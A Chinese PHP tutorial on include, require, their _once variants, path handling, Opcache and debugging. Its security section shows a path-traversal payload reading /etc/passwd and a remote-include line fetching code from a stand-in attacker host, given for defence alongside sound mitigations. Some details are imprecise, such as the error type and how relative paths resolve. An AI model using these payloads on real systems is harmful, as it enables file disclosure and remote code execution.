PHP中include和require的使用方法

PHP文件包含是构建模块化应用的基础，`include`和`require`语句用于引入文件，但错误处理方式不同。`require`出错会直接停止脚本，而`include`则会发出警告并尝试继续执行。`include_once`和`require_once`确保文件只被引入一次，避免重复定义。路径问题推荐使用`__DIR__`魔术常量或定义项目根目录常量来解决。需警惕本地文件包含(LFI)和远程文件包含(RFI)等安全风险，对用户输入进行严格验证和过滤，禁用`allow_url_include`。Opcache可缓解大量文件包含带来的性能影响。使用`get_included_files()`和错误日志辅助调试。掌握这些技巧，能有效提升PHP开发效率和代码安全性。

答案：PHP中include和require用于文件包含，区别在于错误处理，require出错停止执行，include则继续；_once变体防止重复包含；路径问题推荐用__DIR__或常量解决；需防范LFI/RFI安全风险；性能影响可通过Opcache缓解；调试可用get_included_files()和错误日志。

PHP中包含引用文件，核心就是include和require这两个语句。简单来说，它们的作用都是把一个PHP文件的内容“粘贴”到当前脚本执行的位置。但它们在处理文件不存在或出现问题时的行为上有所不同：require更严格，如果文件找不到，它会直接抛出致命错误并停止脚本运行；而include则会发出一个警告，然后尝试继续执行脚本。在实际开发中，我们还会用到它们的变体include_once和require_once，它们能确保同一个文件只被引入一次，有效避免函数或类重复定义的问题。

解决方案

在PHP里，文件包含引用是构建模块化应用的基础。我通常是这样理解和使用的：

1. include 和 require 的基础用法

它们的基本语法很简单，后面跟着要包含的文件路径：

// 使用 include
include 'header.php';
include 'functions.php';

// 使用 require
require 'config.php';
require 'database.php';

这里的关键差异在于错误处理。假设non_existent_file.php不存在：

// include 示例：文件不存在时
echo "脚本开始。\n";
include 'non_existent_file.php'; // 会发出 E_WARNING 警告，但脚本会继续
echo "脚本继续执行。\n"; // 这行会输出

// require 示例：文件不存在时
echo "脚本开始。\n";
require 'another_non_existent_file.php'; // 会发出 E_ERROR 致命错误，脚本在此停止
echo "脚本继续执行。\n"; // 这行不会输出

在我的日常工作中，如果一个文件是脚本运行的必需品，比如配置文件、核心类定义或者数据库连接文件，我肯定会用require。因为这些东西没了，整个应用就没法正常工作，不如直接报错停掉。但如果是像一个可选的侧边栏模板或者某个不那么重要的工具函数文件，即使它偶尔缺失，我希望主流程还能继续跑，那include就更合适。

2. include_once 和 require_once 的必要性

这是我更倾向于使用的形式。想象一下，你有一个utilities.php文件，里面定义了一些全局函数。如果你的好几个文件都include 'utilities.php'，那在运行时，这些函数就会被重复定义，PHP会报错。_once后缀就是为了解决这个问题的：

// 假设 functions.php 里定义了一个 function sayHello()
// file1.php
include_once 'functions.php';
sayHello();

// file2.php
include_once 'functions.php'; // 即使在 file1.php 里已经包含了，这里也不会再次包含
sayHello();

// index.php
include_once 'file1.php';
include_once 'file2.php'; // functions.php 仍然只会被包含一次

include_once和require_once会在包含文件之前检查该文件是否已经被包含过。如果已经包含了，它就跳过。这对于管理类库、框架组件或者任何可能被多个地方引用的文件来说，简直是救星。它能有效避免“Cannot redeclare function”或“Cannot declare class”这样的致命错误，让代码结构更健壮。

PHP文件包含时如何处理路径问题？又有哪些常见的安全风险？

路径问题是新手最容易踩坑的地方，我当年也在这上面花了不少时间排查。文件包含的路径解析机制有时候确实有点反直觉。

首先要搞清楚，PHP在解析include或require语句中的路径时，它是相对于当前执行的脚本文件的。举个例子：

/
├── public/
│   └── index.php
├── src/
│   └── Controller/
│       └── UserController.php
│   └── Model/
│       └── User.php
└── config/
    └── database.php

如果index.php里require 'src/Controller/UserController.php';，然后在UserController.php里又想require 'src/Model/User.php';，这里就出问题了。UserController.php在src/Controller/目录下，它尝试包含src/Model/User.php时，PHP会去src/Controller/src/Model/User.php找，显然找不到。

解决这种路径混乱的方法，我通常有几种：

1. 使用绝对路径：这是最稳妥的办法。通过__DIR__魔术常量，可以获取当前文件所在的目录的绝对路径。

   // 在 UserController.php 中
   require __DIR__ . '/../Model/User.php'; // 这样就确保了路径是相对于 UserController.php 的
   // 或者更推荐的方式，相对于项目的根目录
   require __DIR__ . '/../../../config/database.php'; // 这有点脆弱，因为层级可能变

   更好的方式是定义一个项目根目录常量。在index.php或其他入口文件里：

   // index.php
   define('APP_ROOT', __DIR__ . '/../'); // 假设项目根目录在 public 的上一级
   require APP_ROOT . 'src/Controller/UserController.php';

   然后在其他文件中：

   // UserController.php
   require APP_ROOT . 'src/Model/User.php';
   require APP_ROOT . 'config/database.php';

   这样无论哪个文件，只要引用了APP_ROOT，路径就总是相对于项目根目录，非常清晰和健壮。

2. set_include_path()：如果你有一堆库文件都在某个固定目录下，不想每次都写长长的路径，可以把这个目录加到PHP的include_path里。

   set_include_path(get_include_path() . PATH_SEPARATOR . '/path/to/my/libraries');
   // 现在你可以直接 include 'MyLibrary/file.php'; 而不用写完整路径了

   这个方法我用得不多，因为现代PHP开发更倾向于Composer和PSR-4自动加载，它能更优雅地管理类文件的引用。

至于安全风险，文件包含绝对是一个重灾区，尤其是当文件路径可由用户控制时。这主要涉及到两种攻击：

• 本地文件包含 (LFI)：攻击者通过修改URL参数等方式，让你的PHP脚本包含服务器上的任意文件。比如，你的代码可能是include $_GET['page'] . '.php';，如果攻击者把page参数设置为../../../../etc/passwd，你的脚本就可能把/etc/passwd文件的内容显示出来，泄露敏感信息。
• 远程文件包含 (RFI)：如果PHP配置中allow_url_include被开启（这在生产环境通常是关闭的），攻击者甚至可以包含一个远程服务器上的恶意PHP文件，从而在你的服务器上执行任意代码。比如include 'http://attacker.com/malicious.txt';。

防范这些风险的办法很简单，但非常重要：

1. 永远不要相信用户输入！ 任何来自$_GET、$_POST、$_REQUEST或数据库的用户输入，在用于文件路径之前，都必须进行严格的验证和过滤。
2. 使用白名单机制：如果你需要根据用户输入来包含文件，不要直接拼接路径。而是维护一个允许包含的文件列表（白名单），只允许包含列表中明确定义的文件。
3. 禁用 allow_url_include：在php.ini中将allow_url_include设置为Off。这是默认设置，但务必确认。
4. 使用绝对路径：尽可能使用__DIR__或项目根目录常量来构建包含路径，减少相对路径可能带来的歧义和风险。

大量文件包含会影响性能吗？调试包含错误有什么好方法？

文件包含对性能的影响，我觉得是个挺有意思的话题。理论上，每次include或require都意味着PHP解释器需要打开文件、读取内容、解析执行，这当然会有开销。如果你的应用包含了几百个文件，那这些开销累积起来就不可忽视了。

我的经验是，在现代PHP环境中，这个问题的影响被大大缓解了：

• PHP Opcache：这是最重要的一个。Opcache会把PHP脚本的编译字节码缓存起来，这样在后续的请求中，PHP就不用每次都重新解析文件了，直接从缓存里拿编译好的代码执行。这极大地减少了文件包含带来的解析开销。所以，确保你的生产环境开启了Opcache。
• _once 变体：include_once和require_once虽然在检查文件是否已包含时会有一点点额外的开销，但相比于重复解析执行同一个文件带来的性能损耗，这点开销几乎可以忽略不计。而且它避免了致命错误，让程序更稳定。
• 文件系统I/O：真正的瓶颈可能在于文件系统本身的I/O速度。如果你的服务器磁盘很慢，或者网络文件系统（NFS）延迟高，那么大量的include操作确实会因为文件读取而变慢。

所以，我不会因为担心性能问题就完全避免文件包含。相反，我会关注代码的模块化和可维护性。如果真的有性能瓶颈，我会首先检查数据库查询、外部API调用，最后才会考虑文件包含。而且，现代框架通常会配合Composer的PSR-4自动加载机制，只有当一个类真正被使用到时才加载其文件，这比一次性include所有文件效率高得多。

调试包含错误，这可是家常便饭。遇到文件包含问题，通常表现为“文件找不到”的警告或致命错误，或者“函数/类未定义”的错误。我的调试流程通常是这样的：

1. 看错误信息：PHP的错误信息通常很明确，会告诉你哪个文件在哪个位置尝试包含哪个文件失败了。仔细看错误日志（php_error.log），而不仅仅是浏览器输出。浏览器输出可能被display_errors = Off隐藏了，或者只显示了部分信息。

2. 检查路径：这是最常见的错误。

   • 首先确认文件路径是否正确。是绝对路径还是相对路径？
   • 如果是相对路径，要明确它相对于哪个文件。记住，是相对于当前正在执行的脚本文件，而不是包含它的那个文件。这一点经常让人迷惑。
   • 使用__DIR__和dirname(__FILE__)来辅助定位当前文件的绝对路径，然后手动拼接出你期望的被包含文件的绝对路径，var_dump出来看看对不对。
   • 如果使用了set_include_path()，也要检查include_path的设置是否正确。

3. 检查文件权限：PHP进程需要有读取目标文件的权限。如果文件权限不对，即使路径正确也无法包含。

4. 使用 get_included_files()：这是一个非常有用的PHP函数，它会返回一个数组，包含所有已经被include或require的文件路径。当你不确定某个文件是否真的被包含了，或者想看包含的顺序时，这个函数能提供直观的反馈。

   // 调试时
   echo '<pre>';
   print_r(get_included_files());
   echo '

   ';

5. 简化问题：如果错误很复杂，尝试创建一个最小的可复现示例。只保留最少量的代码，只包含出问题的那个文件，逐步排除其他干扰。

总之，文件包含是PHP开发中不可或缺的一部分。理解其工作原理、路径解析机制和潜在的安全风险，并掌握一些调试技巧，能让你在日常开发中少走很多弯路。

文中关于安全风险,OpCache,PHP文件包含,路径问题,include/require的知识介绍，希望对你的学习有所帮助！若是受益匪浅，那就动动鼠标收藏这篇《PHP中include和require的使用方法》文章吧，也可关注golang学习网公众号了解相关技术文章。